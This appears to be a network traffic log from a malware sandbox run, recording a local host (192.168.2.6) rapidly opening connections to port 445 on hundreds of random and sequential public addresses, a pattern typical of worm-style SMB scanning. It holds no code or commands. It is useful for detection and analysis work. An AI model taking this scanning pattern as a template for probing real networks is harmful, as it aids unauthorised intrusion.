Dec 22, 2022 10:04:58.259000063 CET	52101	445	192.168.2.6	118.159.183.227
Dec 22, 2022 10:04:58.259738922 CET	52102	445	192.168.2.6	206.41.49.215
Dec 22, 2022 10:04:58.259910107 CET	52103	445	192.168.2.6	177.232.113.123
Dec 22, 2022 10:04:58.260010958 CET	52104	445	192.168.2.6	51.184.226.225
Dec 22, 2022 10:04:58.260153055 CET	52105	445	192.168.2.6	117.54.5.37
Dec 22, 2022 10:04:58.260279894 CET	52107	445	192.168.2.6	167.12.247.66
Dec 22, 2022 10:04:58.260318041 CET	52106	445	192.168.2.6	193.153.185.31
Dec 22, 2022 10:04:58.260440111 CET	52108	445	192.168.2.6	7.195.246.156
Dec 22, 2022 10:04:58.260499001 CET	52109	445	192.168.2.6	168.80.35.37
Dec 22, 2022 10:04:58.261730909 CET	52112	445	192.168.2.6	79.121.58.127
Dec 22, 2022 10:04:58.262418032 CET	52113	445	192.168.2.6	72.200.83.178
Dec 22, 2022 10:04:58.262454987 CET	52114	445	192.168.2.6	134.16.235.173
Dec 22, 2022 10:04:58.278330088 CET	445	52057	153.236.168.112	192.168.2.6
Dec 22, 2022 10:04:58.454474926 CET	445	52076	191.37.227.43	192.168.2.6
Dec 22, 2022 10:04:58.511220932 CET	52116	445	192.168.2.6	61.29.237.213
Dec 22, 2022 10:04:58.511293888 CET	52117	445	192.168.2.6	156.165.163.217
Dec 22, 2022 10:04:58.588020086 CET	52120	445	192.168.2.6	176.210.131.24
Dec 22, 2022 10:04:58.962297916 CET	52076	445	192.168.2.6	191.37.227.43
Dec 22, 2022 10:04:59.205785990 CET	445	52076	191.37.227.43	192.168.2.6
Dec 22, 2022 10:04:59.323507071 CET	52125	445	192.168.2.6	172.31.231.26
Dec 22, 2022 10:04:59.369535923 CET	52126	445	192.168.2.6	208.47.140.216
Dec 22, 2022 10:04:59.369692087 CET	52127	445	192.168.2.6	8.3.179.127
Dec 22, 2022 10:04:59.369853020 CET	52128	445	192.168.2.6	128.70.236.206
Dec 22, 2022 10:04:59.369951010 CET	52129	445	192.168.2.6	141.147.201.254
Dec 22, 2022 10:04:59.370054007 CET	52130	445	192.168.2.6	193.100.24.68
Dec 22, 2022 10:04:59.370168924 CET	52131	445	192.168.2.6	111.41.57.135
Dec 22, 2022 10:04:59.370275974 CET	52132	445	192.168.2.6	17.196.60.161
Dec 22, 2022 10:04:59.370384932 CET	52133	445	192.168.2.6	105.61.11.142
Dec 22, 2022 10:04:59.371197939 CET	52136	445	192.168.2.6	118.3.56.222
Dec 22, 2022 10:04:59.372241020 CET	52138	445	192.168.2.6	193.79.200.232
Dec 22, 2022 10:04:59.372502089 CET	52139	445	192.168.2.6	169.87.137.70
Dec 22, 2022 10:04:59.372633934 CET	52140	445	192.168.2.6	66.43.72.140
Dec 22, 2022 10:04:59.372735977 CET	52141	445	192.168.2.6	107.133.189.184
Dec 22, 2022 10:04:59.372987032 CET	52143	445	192.168.2.6	7.161.22.76
Dec 22, 2022 10:04:59.373223066 CET	52147	445	192.168.2.6	67.94.50.134
Dec 22, 2022 10:04:59.373615980 CET	52152	445	192.168.2.6	223.134.69.182
Dec 22, 2022 10:04:59.373707056 CET	52153	445	192.168.2.6	41.30.91.83
Dec 22, 2022 10:04:59.373789072 CET	52154	445	192.168.2.6	42.27.140.241
Dec 22, 2022 10:04:59.373800039 CET	52155	445	192.168.2.6	144.254.22.133
Dec 22, 2022 10:04:59.373893976 CET	52156	445	192.168.2.6	54.14.58.91
Dec 22, 2022 10:04:59.373997927 CET	52158	445	192.168.2.6	32.137.53.155
Dec 22, 2022 10:04:59.374005079 CET	52157	445	192.168.2.6	116.165.56.71
Dec 22, 2022 10:04:59.374108076 CET	52159	445	192.168.2.6	36.188.238.250
Dec 22, 2022 10:04:59.374174118 CET	52160	445	192.168.2.6	144.161.103.83
Dec 22, 2022 10:04:59.374201059 CET	52161	445	192.168.2.6	33.57.145.110
Dec 22, 2022 10:04:59.374349117 CET	52162	445	192.168.2.6	117.6.67.213
Dec 22, 2022 10:04:59.378499031 CET	52163	445	192.168.2.6	3.241.160.245
Dec 22, 2022 10:04:59.383268118 CET	52137	445	192.168.2.6	151.30.29.216
Dec 22, 2022 10:04:59.635534048 CET	52166	445	192.168.2.6	95.48.88.35
Dec 22, 2022 10:04:59.636301994 CET	52167	445	192.168.2.6	222.104.108.142
Dec 22, 2022 10:04:59.650559902 CET	52168	445	192.168.2.6	176.210.131.25
Dec 22, 2022 10:04:59.758759022 CET	445	52168	176.210.131.25	192.168.2.6
Dec 22, 2022 10:04:59.758867025 CET	52168	445	192.168.2.6	176.210.131.25
Dec 22, 2022 10:04:59.759021044 CET	52168	445	192.168.2.6	176.210.131.25
Dec 22, 2022 10:04:59.767232895 CET	52171	445	192.168.2.6	176.210.131.25
Dec 22, 2022 10:04:59.861552954 CET	445	52168	176.210.131.25	192.168.2.6
Dec 22, 2022 10:04:59.867639065 CET	445	52168	176.210.131.25	192.168.2.6
Dec 22, 2022 10:04:59.867728949 CET	52168	445	192.168.2.6	176.210.131.25
Dec 22, 2022 10:04:59.872819901 CET	445	52171	176.210.131.25	192.168.2.6
Dec 22, 2022 10:04:59.872997999 CET	52171	445	192.168.2.6	176.210.131.25
Dec 22, 2022 10:04:59.873147964 CET	52171	445	192.168.2.6	176.210.131.25
Dec 22, 2022 10:04:59.981245041 CET	445	52171	176.210.131.25	192.168.2.6
Dec 22, 2022 10:04:59.989334106 CET	445	52171	176.210.131.25	192.168.2.6
Dec 22, 2022 10:04:59.989470005 CET	52171	445	192.168.2.6	176.210.131.25
Dec 22, 2022 10:05:00.101347923 CET	445	52171	176.210.131.25	192.168.2.6
Dec 22, 2022 10:05:00.102214098 CET	52171	445	192.168.2.6	176.210.131.25
Dec 22, 2022 10:05:00.209264994 CET	445	52171	176.210.131.25	192.168.2.6
Dec 22, 2022 10:05:00.209852934 CET	52171	445	192.168.2.6	176.210.131.25
Dec 22, 2022 10:05:00.317244053 CET	445	52171	176.210.131.25	192.168.2.6
Dec 22, 2022 10:05:00.368803978 CET	52171	445	192.168.2.6	176.210.131.25
Dec 22, 2022 10:05:00.629610062 CET	52171	445	192.168.2.6	176.210.131.25
Dec 22, 2022 10:05:00.737293005 CET	445	52171	176.210.131.25	192.168.2.6
Dec 22, 2022 10:05:00.738301039 CET	52171	445	192.168.2.6	176.210.131.25
Dec 22, 2022 10:05:00.785593987 CET	52176	445	192.168.2.6	106.156.187.200
Dec 22, 2022 10:05:00.785761118 CET	52177	445	192.168.2.6	102.33.126.194
Dec 22, 2022 10:05:00.785995960 CET	52178	445	192.168.2.6	152.61.94.87
Dec 22, 2022 10:05:00.786128044 CET	52179	445	192.168.2.6	92.206.74.129
Dec 22, 2022 10:05:00.786700010 CET	52180	445	192.168.2.6	66.103.176.4
Dec 22, 2022 10:05:00.787786007 CET	52183	445	192.168.2.6	46.166.137.144
Dec 22, 2022 10:05:00.788288116 CET	52184	445	192.168.2.6	202.92.81.200
Dec 22, 2022 10:05:00.788593054 CET	52185	445	192.168.2.6	88.192.131.143
Dec 22, 2022 10:05:00.788743973 CET	52186	445	192.168.2.6	89.249.113.58
Dec 22, 2022 10:05:00.788880110 CET	52187	445	192.168.2.6	10.189.234.211
Dec 22, 2022 10:05:00.788960934 CET	52188	445	192.168.2.6	178.230.13.113
Dec 22, 2022 10:05:00.789072990 CET	52189	445	192.168.2.6	219.14.15.221
Dec 22, 2022 10:05:00.789210081 CET	52190	445	192.168.2.6	88.13.130.137
Dec 22, 2022 10:05:00.789343119 CET	52191	445	192.168.2.6	184.124.125.179
Dec 22, 2022 10:05:00.789490938 CET	52192	445	192.168.2.6	169.238.11.131
Dec 22, 2022 10:05:00.789663076 CET	52193	445	192.168.2.6	63.127.22.5
Dec 22, 2022 10:05:00.789788961 CET	52194	445	192.168.2.6	24.69.164.36
Dec 22, 2022 10:05:00.789863110 CET	52195	445	192.168.2.6	162.36.70.2
Dec 22, 2022 10:05:00.790394068 CET	52200	445	192.168.2.6	197.80.18.35
Dec 22, 2022 10:05:00.845063925 CET	52204	445	192.168.2.6	218.52.6.9
Dec 22, 2022 10:05:00.845465899 CET	52206	445	192.168.2.6	215.165.117.106
Dec 22, 2022 10:05:00.845700026 CET	52207	445	192.168.2.6	47.130.157.2
Dec 22, 2022 10:05:00.845818996 CET	52208	445	192.168.2.6	67.97.138.228
Dec 22, 2022 10:05:00.846302986 CET	52209	445	192.168.2.6	178.177.99.210
Dec 22, 2022 10:05:00.847111940 CET	52210	445	192.168.2.6	31.206.36.195
Dec 22, 2022 10:05:00.847507954 CET	52213	445	192.168.2.6	113.125.135.14
Dec 22, 2022 10:05:00.847811937 CET	52214	445	192.168.2.6	135.41.95.46
Dec 22, 2022 10:05:00.847935915 CET	52215	445	192.168.2.6	220.128.36.159
Dec 22, 2022 10:05:00.848031998 CET	52216	445	192.168.2.6	129.129.186.187
Dec 22, 2022 10:05:00.848627090 CET	52217	445	192.168.2.6	112.11.73.58
Dec 22, 2022 10:05:00.849278927 CET	52218	445	192.168.2.6	44.127.204.63
Dec 22, 2022 10:05:02.198385000 CET	52226	445	192.168.2.6	2.221.123.188
Dec 22, 2022 10:05:02.199035883 CET	52227	445	192.168.2.6	158.225.59.6
Dec 22, 2022 10:05:02.199206114 CET	52228	445	192.168.2.6	71.118.135.181
Dec 22, 2022 10:05:02.199299097 CET	52229	445	192.168.2.6	216.40.59.108
Dec 22, 2022 10:05:02.199431896 CET	52230	445	192.168.2.6	139.90.54.34
Dec 22, 2022 10:05:02.199784040 CET	52232	445	192.168.2.6	88.33.91.241
Dec 22, 2022 10:05:02.200022936 CET	52235	445	192.168.2.6	170.44.52.165
Dec 22, 2022 10:05:02.200129986 CET	52236	445	192.168.2.6	16.136.236.252
Dec 22, 2022 10:05:02.200217009 CET	52237	445	192.168.2.6	90.224.210.178
Dec 22, 2022 10:05:02.200336933 CET	52238	445	192.168.2.6	151.251.152.81
Dec 22, 2022 10:05:02.200933933 CET	52239	445	192.168.2.6	29.50.142.235
Dec 22, 2022 10:05:02.201680899 CET	52242	445	192.168.2.6	83.224.190.10
Dec 22, 2022 10:05:02.202157021 CET	52243	445	192.168.2.6	11.6.175.243
Dec 22, 2022 10:05:02.202346087 CET	52244	445	192.168.2.6	2.242.201.76
Dec 22, 2022 10:05:02.202430964 CET	52245	445	192.168.2.6	204.242.13.209
Dec 22, 2022 10:05:02.202538967 CET	52246	445	192.168.2.6	148.174.43.164
Dec 22, 2022 10:05:02.202637911 CET	52247	445	192.168.2.6	76.15.50.178
Dec 22, 2022 10:05:02.202785015 CET	52248	445	192.168.2.6	220.136.39.102
Dec 22, 2022 10:05:02.202856064 CET	52249	445	192.168.2.6	96.140.55.155
Dec 22, 2022 10:05:02.202950001 CET	52250	445	192.168.2.6	181.145.183.182
Dec 22, 2022 10:05:02.203041077 CET	52251	445	192.168.2.6	18.210.152.11
Dec 22, 2022 10:05:02.203147888 CET	52252	445	192.168.2.6	161.103.45.185
Dec 22, 2022 10:05:02.203253984 CET	52253	445	192.168.2.6	206.32.220.99
Dec 22, 2022 10:05:02.203351021 CET	52254	445	192.168.2.6	86.127.107.58
Dec 22, 2022 10:05:02.203905106 CET	52259	445	192.168.2.6	186.44.67.74
Dec 22, 2022 10:05:02.205106020 CET	52266	445	192.168.2.6	19.35.203.92
Dec 22, 2022 10:05:02.205734015 CET	52267	445	192.168.2.6	87.242.123.89
Dec 22, 2022 10:05:02.205890894 CET	52268	445	192.168.2.6	101.35.47.96
Dec 22, 2022 10:05:02.206005096 CET	52269	445	192.168.2.6	27.22.14.246
Dec 22, 2022 10:05:02.206108093 CET	52270	445	192.168.2.6	1.231.248.87
Dec 22, 2022 10:05:02.206211090 CET	52271	445	192.168.2.6	107.108.142.71
Dec 22, 2022 10:05:04.034130096 CET	52275	445	192.168.2.6	176.210.131.25
Dec 22, 2022 10:05:04.142623901 CET	445	52275	176.210.131.25	192.168.2.6
Dec 22, 2022 10:05:04.142755032 CET	52275	445	192.168.2.6	176.210.131.25
Dec 22, 2022 10:05:04.143043041 CET	52275	445	192.168.2.6	176.210.131.25
Dec 22, 2022 10:05:04.143043041 CET	52277	445	192.168.2.6	110.197.66.83
Dec 22, 2022 10:05:04.143172979 CET	52278	445	192.168.2.6	138.94.136.146
Dec 22, 2022 10:05:04.143277884 CET	52279	445	192.168.2.6	216.33.138.149
Dec 22, 2022 10:05:04.143379927 CET	52280	445	192.168.2.6	210.83.215.158
Dec 22, 2022 10:05:04.144324064 CET	52285	445	192.168.2.6	67.0.142.217
Dec 22, 2022 10:05:04.144928932 CET	52286	445	192.168.2.6	146.95.175.133
Dec 22, 2022 10:05:04.145123005 CET	52287	445	192.168.2.6	45.146.205.152
Dec 22, 2022 10:05:04.145251989 CET	52288	445	192.168.2.6	181.217.196.234
Dec 22, 2022 10:05:04.145358086 CET	52289	445	192.168.2.6	124.43.60.171
Dec 22, 2022 10:05:04.145551920 CET	52291	445	192.168.2.6	55.45.243.58
Dec 22, 2022 10:05:04.145832062 CET	52294	445	192.168.2.6	52.39.250.178
Dec 22, 2022 10:05:04.146022081 CET	52295	445	192.168.2.6	126.253.76.224
Dec 22, 2022 10:05:04.146130085 CET	52296	445	192.168.2.6	14.150.64.147
Dec 22, 2022 10:05:04.146213055 CET	52297	445	192.168.2.6	110.138.131.211
Dec 22, 2022 10:05:04.146904945 CET	52298	445	192.168.2.6	179.177.0.191
Dec 22, 2022 10:05:04.147114038 CET	52302	445	192.168.2.6	50.88.6.33
Dec 22, 2022 10:05:04.147124052 CET	52301	445	192.168.2.6	138.110.71.245
Dec 22, 2022 10:05:04.147250891 CET	52304	445	192.168.2.6	54.85.234.242
Dec 22, 2022 10:05:04.147305012 CET	52303	445	192.168.2.6	152.81.22.189
Dec 22, 2022 10:05:04.147418022 CET	52305	445	192.168.2.6	214.35.143.51
Dec 22, 2022 10:05:04.147459030 CET	52306	445	192.168.2.6	105.57.144.117
Dec 22, 2022 10:05:04.147507906 CET	52307	445	192.168.2.6	15.92.85.238
Dec 22, 2022 10:05:04.147669077 CET	52309	445	192.168.2.6	14.78.106.160
Dec 22, 2022 10:05:04.147671938 CET	52308	445	192.168.2.6	57.156.82.59
Dec 22, 2022 10:05:04.147746086 CET	52310	445	192.168.2.6	111.4.114.50
Dec 22, 2022 10:05:04.147831917 CET	52311	445	192.168.2.6	17.66.151.43
Dec 22, 2022 10:05:04.148041010 CET	52316	445	192.168.2.6	202.39.92.109
Dec 22, 2022 10:05:04.150155067 CET	52323	445	192.168.2.6	13.112.24.168
Dec 22, 2022 10:05:04.150904894 CET	52324	445	192.168.2.6	54.128.155.10
Dec 22, 2022 10:05:04.152256012 CET	52325	445	192.168.2.6	197.17.240.57
Dec 22, 2022 10:05:04.152394056 CET	52326	445	192.168.2.6	171.168.32.191
Dec 22, 2022 10:05:04.250720024 CET	445	52275	176.210.131.25	192.168.2.6
Dec 22, 2022 10:05:04.258665085 CET	445	52275	176.210.131.25	192.168.2.6
Dec 22, 2022 10:05:04.280035019 CET	52275	445	192.168.2.6	176.210.131.25
Dec 22, 2022 10:05:04.390724897 CET	445	52275	176.210.131.25	192.168.2.6
Dec 22, 2022 10:05:04.442702055 CET	52275	445	192.168.2.6	176.210.131.25
Dec 22, 2022 10:05:04.554725885 CET	445	52275	176.210.131.25	192.168.2.6
Dec 22, 2022 10:05:04.554891109 CET	52275	445	192.168.2.6	176.210.131.25
Dec 22, 2022 10:05:04.662626982 CET	445	52275	176.210.131.25	192.168.2.6
Dec 22, 2022 10:05:04.662880898 CET	52275	445	192.168.2.6	176.210.131.25
Dec 22, 2022 10:05:04.743552923 CET	52327	445	192.168.2.6	176.210.131.26
Dec 22, 2022 10:05:04.774708986 CET	445	52275	176.210.131.25	192.168.2.6
Dec 22, 2022 10:05:04.774960041 CET	52275	445	192.168.2.6	176.210.131.25
Dec 22, 2022 10:05:05.028443098 CET	49717	80	192.168.2.6	13.248.148.254
Dec 22, 2022 10:05:05.048280001 CET	80	49717	13.248.148.254	192.168.2.6
Dec 22, 2022 10:05:05.293807983 CET	52329	445	192.168.2.6	90.248.196.171
Dec 22, 2022 10:05:05.295003891 CET	52330	445	192.168.2.6	62.138.190.212
Dec 22, 2022 10:05:05.295250893 CET	52331	445	192.168.2.6	118.23.121.72
Dec 22, 2022 10:05:05.295403957 CET	52332	445	192.168.2.6	218.175.82.76
Dec 22, 2022 10:05:05.295491934 CET	52333	445	192.168.2.6	152.146.64.232
Dec 22, 2022 10:05:05.295629978 CET	52334	445	192.168.2.6	43.59.106.234
Dec 22, 2022 10:05:05.295870066 CET	52339	445	192.168.2.6	121.27.57.51
Dec 22, 2022 10:05:05.296062946 CET	52340	445	192.168.2.6	133.101.27.182
Dec 22, 2022 10:05:05.296118021 CET	52341	445	192.168.2.6	122.13.1.117
Dec 22, 2022 10:05:05.296293974 CET	52343	445	192.168.2.6	89.172.85.122
Dec 22, 2022 10:05:05.296466112 CET	52346	445	192.168.2.6	13.59.225.89
Dec 22, 2022 10:05:05.296593904 CET	52347	445	192.168.2.6	10.243.254.64
Dec 22, 2022 10:05:05.296668053 CET	52348	445	192.168.2.6	158.29.238.75
Dec 22, 2022 10:05:05.296904087 CET	52351	445	192.168.2.6	20.125.70.54
Dec 22, 2022 10:05:05.297013998 CET	52352	445	192.168.2.6	212.237.182.85
Dec 22, 2022 10:05:05.297032118 CET	52353	445	192.168.2.6	37.10.151.112
Dec 22, 2022 10:05:05.297156096 CET	52354	445	192.168.2.6	100.14.197.68
Dec 22, 2022 10:05:05.297168016 CET	52355	445	192.168.2.6	80.45.116.155
Dec 22, 2022 10:05:05.297296047 CET	52356	445	192.168.2.6	200.170.101.19
Dec 22, 2022 10:05:05.297385931 CET	52357	445	192.168.2.6	99.175.252.191
Dec 22, 2022 10:05:05.297548056 CET	52358	445	192.168.2.6	119.93.135.169
Dec 22, 2022 10:05:05.297655106 CET	52359	445	192.168.2.6	87.52.176.96
Dec 22, 2022 10:05:05.297810078 CET	52360	445	192.168.2.6	215.209.184.157
Dec 22, 2022 10:05:05.297998905 CET	52363	445	192.168.2.6	124.89.124.17
Dec 22, 2022 10:05:05.298327923 CET	52367	445	192.168.2.6	182.216.187.125
Dec 22, 2022 10:05:05.298892975 CET	52373	445	192.168.2.6	208.93.168.231
Dec 22, 2022 10:05:05.300648928 CET	52374	445	192.168.2.6	112.101.135.55
Dec 22, 2022 10:05:05.301134109 CET	52375	445	192.168.2.6	205.70.147.142
Dec 22, 2022 10:05:05.301201105 CET	52376	445	192.168.2.6	124.253.158.75
Dec 22, 2022 10:05:05.301322937 CET	52377	445	192.168.2.6	123.27.217.234
Dec 22, 2022 10:05:05.301665068 CET	52378	445	192.168.2.6	171.42.221.78
Dec 22, 2022 10:05:05.791800976 CET	52379	445	192.168.2.6	176.210.131.27
Dec 22, 2022 10:05:06.418906927 CET	52382	445	192.168.2.6	54.94.136.189
Dec 22, 2022 10:05:06.419064045 CET	52385	445	192.168.2.6	35.55.29.164
Dec 22, 2022 10:05:06.419245005 CET	52387	445	192.168.2.6	75.8.83.217
Dec 22, 2022 10:05:06.419419050 CET	52388	445	192.168.2.6	209.33.29.193
Dec 22, 2022 10:05:06.419518948 CET	52389	445	192.168.2.6	197.132.74.108
Dec 22, 2022 10:05:06.419676065 CET	52390	445	192.168.2.6	97.24.162.40
Dec 22, 2022 10:05:06.419770956 CET	52391	445	192.168.2.6	217.18.227.46
Dec 22, 2022 10:05:06.419859886 CET	52392	445	192.168.2.6	3.239.104.119
Dec 22, 2022 10:05:06.419955015 CET	52393	445	192.168.2.6	79.173.57.60
Dec 22, 2022 10:05:06.420032978 CET	52394	445	192.168.2.6	214.60.38.223
Dec 22, 2022 10:05:06.420142889 CET	52395	445	192.168.2.6	211.41.85.23
Dec 22, 2022 10:05:06.420473099 CET	52398	445	192.168.2.6	27.169.66.244
Dec 22, 2022 10:05:06.420609951 CET	52399	445	192.168.2.6	16.42.24.14
Dec 22, 2022 10:05:06.420720100 CET	52400	445	192.168.2.6	187.238.19.89
Dec 22, 2022 10:05:06.420969963 CET	52403	445	192.168.2.6	46.212.47.77
Dec 22, 2022 10:05:06.421150923 CET	52404	445	192.168.2.6	104.60.128.108
Dec 22, 2022 10:05:06.421375036 CET	52407	445	192.168.2.6	198.68.30.64
Dec 22, 2022 10:05:06.421787024 CET	52411	445	192.168.2.6	9.234.181.239
Dec 22, 2022 10:05:06.421793938 CET	52408	445	192.168.2.6	42.100.177.150
Dec 22, 2022 10:05:06.421962976 CET	52413	445	192.168.2.6	99.82.198.134
Dec 22, 2022 10:05:06.422036886 CET	52414	445	192.168.2.6	162.35.152.222
Dec 22, 2022 10:05:06.422607899 CET	52415	445	192.168.2.6	183.131.246.104
Dec 22, 2022 10:05:06.422945023 CET	52416	445	192.168.2.6	217.54.227.144
Dec 22, 2022 10:05:06.423609018 CET	52417	445	192.168.2.6	39.24.10.108
Dec 22, 2022 10:05:06.424205065 CET	52418	445	192.168.2.6	81.61.133.62
Dec 22, 2022 10:05:06.424660921 CET	52419	445	192.168.2.6	94.232.227.112
Dec 22, 2022 10:05:06.425203085 CET	52420	445	192.168.2.6	203.7.175.30
Dec 22, 2022 10:05:06.425658941 CET	52421	445	192.168.2.6	68.91.81.78
Dec 22, 2022 10:05:06.426253080 CET	52423	445	192.168.2.6	110.149.167.203
Dec 22, 2022 10:05:06.426395893 CET	52424	445	192.168.2.6	7.219.151.210
Dec 22, 2022 10:05:06.426925898 CET	52430	445	192.168.2.6	141.38.83.190
Dec 22, 2022 10:05:06.854754925 CET	52432	445	192.168.2.6	176.210.131.28
Dec 22, 2022 10:05:07.527221918 CET	52435	445	192.168.2.6	84.88.65.199
Dec 22, 2022 10:05:07.528150082 CET	52436	445	192.168.2.6	220.190.248.101
Dec 22, 2022 10:05:07.529120922 CET	52438	445	192.168.2.6	143.152.172.215
Dec 22, 2022 10:05:07.529475927 CET	52439	445	192.168.2.6	13.85.208.114
Dec 22, 2022 10:05:07.530234098 CET	52445	445	192.168.2.6	205.18.134.209
Dec 22, 2022 10:05:07.531084061 CET	52447	445	192.168.2.6	11.85.251.167
Dec 22, 2022 10:05:07.531838894 CET	52448	445	192.168.2.6	94.88.44.204
Dec 22, 2022 10:05:07.532609940 CET	52449	445	192.168.2.6	208.251.57.202
Dec 22, 2022 10:05:07.549565077 CET	52450	445	192.168.2.6	89.191.238.160
Dec 22, 2022 10:05:07.549913883 CET	52453	445	192.168.2.6	80.183.220.45
Dec 22, 2022 10:05:07.550122023 CET	52455	445	192.168.2.6	58.187.224.101
Dec 22, 2022 10:05:07.550378084 CET	52456	445	192.168.2.6	60.252.124.239
Dec 22, 2022 10:05:07.551371098 CET	52457	445	192.168.2.6	161.169.73.77
Dec 22, 2022 10:05:07.551572084 CET	52458	445	192.168.2.6	93.60.46.32
Dec 22, 2022 10:05:07.551722050 CET	52459	445	192.168.2.6	215.218.160.183
Dec 22, 2022 10:05:07.551846981 CET	52460	445	192.168.2.6	147.178.52.228
Dec 22, 2022 10:05:07.552086115 CET	52461	445	192.168.2.6	52.205.78.70
Dec 22, 2022 10:05:07.552223921 CET	52462	445	192.168.2.6	62.237.94.184
Dec 22, 2022 10:05:07.552355051 CET	52463	445	192.168.2.6	100.195.77.180
Dec 22, 2022 10:05:07.552660942 CET	52465	445	192.168.2.6	159.4.35.85
Dec 22, 2022 10:05:07.552992105 CET	52467	445	192.168.2.6	219.29.234.18
Dec 22, 2022 10:05:07.553114891 CET	52468	445	192.168.2.6	92.14.100.112
Dec 22, 2022 10:05:07.553558111 CET	52471	445	192.168.2.6	101.128.142.150
Dec 22, 2022 10:05:07.553688049 CET	52472	445	192.168.2.6	52.222.3.252
Dec 22, 2022 10:05:07.554147959 CET	52475	445	192.168.2.6	77.225.60.8
Dec 22, 2022 10:05:07.554284096 CET	52476	445	192.168.2.6	106.64.174.224
Dec 22, 2022 10:05:07.554737091 CET	52479	445	192.168.2.6	102.50.134.243
Dec 22, 2022 10:05:07.554953098 CET	52481	445	192.168.2.6	123.61.41.139
Dec 22, 2022 10:05:07.554985046 CET	52482	445	192.168.2.6	156.102.131.177
Dec 22, 2022 10:05:07.555130959 CET	52483	445	192.168.2.6	140.118.132.239
Dec 22, 2022 10:05:07.555664062 CET	52484	445	192.168.2.6	19.66.76.130
Dec 22, 2022 10:05:07.916409969 CET	52485	445	192.168.2.6	176.210.131.29
Dec 22, 2022 10:05:07.937030077 CET	445	52479	102.50.134.243	192.168.2.6
Dec 22, 2022 10:05:08.447508097 CET	52479	445	192.168.2.6	102.50.134.243
Dec 22, 2022 10:05:08.651415110 CET	52489	445	192.168.2.6	77.149.220.150
Dec 22, 2022 10:05:08.652061939 CET	52490	445	192.168.2.6	167.149.95.55
Dec 22, 2022 10:05:08.652647972 CET	52491	445	192.168.2.6	212.79.130.130
Dec 22, 2022 10:05:08.653206110 CET	52492	445	192.168.2.6	220.138.44.16
Dec 22, 2022 10:05:08.653470039 CET	52494	445	192.168.2.6	47.136.153.181
Dec 22, 2022 10:05:08.653806925 CET	52498	445	192.168.2.6	161.221.195.106
Dec 22, 2022 10:05:08.654522896 CET	52501	445	192.168.2.6	84.6.126.102
Dec 22, 2022 10:05:08.655189991 CET	52503	445	192.168.2.6	160.0.114.222
Dec 22, 2022 10:05:08.666964054 CET	52504	445	192.168.2.6	214.183.115.162
Dec 22, 2022 10:05:08.667048931 CET	52507	445	192.168.2.6	112.235.89.36
Dec 22, 2022 10:05:08.667308092 CET	52509	445	192.168.2.6	15.205.84.206
Dec 22, 2022 10:05:08.667428017 CET	52510	445	192.168.2.6	16.142.47.112
Dec 22, 2022 10:05:08.667540073 CET	52511	445	192.168.2.6	137.106.161.179
Dec 22, 2022 10:05:08.667648077 CET	52512	445	192.168.2.6	158.45.8.163
Dec 22, 2022 10:05:08.667833090 CET	52514	445	192.168.2.6	51.250.56.72
Dec 22, 2022 10:05:08.667886972 CET	52513	445	192.168.2.6	117.94.159.130
Dec 22, 2022 10:05:08.667995930 CET	52515	445	192.168.2.6	27.237.201.26
Dec 22, 2022 10:05:08.668088913 CET	52516	445	192.168.2.6	9.112.154.252
Dec 22, 2022 10:05:08.668240070 CET	52517	445	192.168.2.6	116.43.74.225
Dec 22, 2022 10:05:08.668431997 CET	52519	445	192.168.2.6	179.228.72.32
Dec 22, 2022 10:05:08.668593884 CET	52521	445	192.168.2.6	181.81.140.40
Dec 22, 2022 10:05:08.668699980 CET	52522	445	192.168.2.6	94.81.238.94
Dec 22, 2022 10:05:08.668941021 CET	52525	445	192.168.2.6	50.6.204.68
Dec 22, 2022 10:05:08.669045925 CET	52526	445	192.168.2.6	30.132.84.185
Dec 22, 2022 10:05:08.669317007 CET	52529	445	192.168.2.6	115.62.46.226
Dec 22, 2022 10:05:08.669437885 CET	52530	445	192.168.2.6	146.87.217.143
Dec 22, 2022 10:05:08.669704914 CET	52533	445	192.168.2.6	219.212.60.225
Dec 22, 2022 10:05:08.669893980 CET	52535	445	192.168.2.6	205.40.130.38
Dec 22, 2022 10:05:08.669995070 CET	52536	445	192.168.2.6	138.31.98.189
Dec 22, 2022 10:05:08.670639992 CET	52537	445	192.168.2.6	121.201.110.67
Dec 22, 2022 10:05:08.670943022 CET	52538	445	192.168.2.6	124.121.242.170
Dec 22, 2022 10:05:08.688682079 CET	445	52501	84.6.126.102	192.168.2.6
Dec 22, 2022 10:05:08.688833952 CET	52501	445	192.168.2.6	84.6.126.102
Dec 22, 2022 10:05:08.689075947 CET	52501	445	192.168.2.6	84.6.126.102
Dec 22, 2022 10:05:08.689780951 CET	52539	445	192.168.2.6	84.6.126.1
Dec 22, 2022 10:05:08.724157095 CET	445	52539	84.6.126.1	192.168.2.6
Dec 22, 2022 10:05:08.724266052 CET	52539	445	192.168.2.6	84.6.126.1
Dec 22, 2022 10:05:08.724369049 CET	52539	445	192.168.2.6	84.6.126.1
Dec 22, 2022 10:05:08.725090981 CET	52540	445	192.168.2.6	84.6.126.1
Dec 22, 2022 10:05:08.759345055 CET	445	52540	84.6.126.1	192.168.2.6
Dec 22, 2022 10:05:08.759462118 CET	52540	445	192.168.2.6	84.6.126.1
Dec 22, 2022 10:05:08.759505987 CET	52540	445	192.168.2.6	84.6.126.1
Dec 22, 2022 10:05:08.838675022 CET	52541	443	192.168.2.6	20.90.153.243
Dec 22, 2022 10:05:08.838759899 CET	443	52541	20.90.153.243	192.168.2.6
Dec 22, 2022 10:05:08.838896036 CET	52541	443	192.168.2.6	20.90.153.243
Dec 22, 2022 10:05:08.840435982 CET	52541	443	192.168.2.6	20.90.153.243
Dec 22, 2022 10:05:08.840465069 CET	443	52541	20.90.153.243	192.168.2.6
Dec 22, 2022 10:05:08.842545986 CET	445	52479	102.50.134.243	192.168.2.6
Dec 22, 2022 10:05:08.943820953 CET	443	52541	20.90.153.243	192.168.2.6
Dec 22, 2022 10:05:08.943932056 CET	52541	443	192.168.2.6	20.90.153.243
Dec 22, 2022 10:05:08.952828884 CET	52541	443	192.168.2.6	20.90.153.243
Dec 22, 2022 10:05:08.952848911 CET	443	52541	20.90.153.243	192.168.2.6
Dec 22, 2022 10:05:08.953701973 CET	443	52541	20.90.153.243	192.168.2.6
Dec 22, 2022 10:05:08.954713106 CET	52541	443	192.168.2.6	20.90.153.243
Dec 22, 2022 10:05:08.954735994 CET	443	52541	20.90.153.243	192.168.2.6
Dec 22, 2022 10:05:08.954787970 CET	52541	443	192.168.2.6	20.90.153.243
Dec 22, 2022 10:05:08.954801083 CET	443	52541	20.90.153.243	192.168.2.6
Dec 22, 2022 10:05:08.954890013 CET	52541	443	192.168.2.6	20.90.153.243
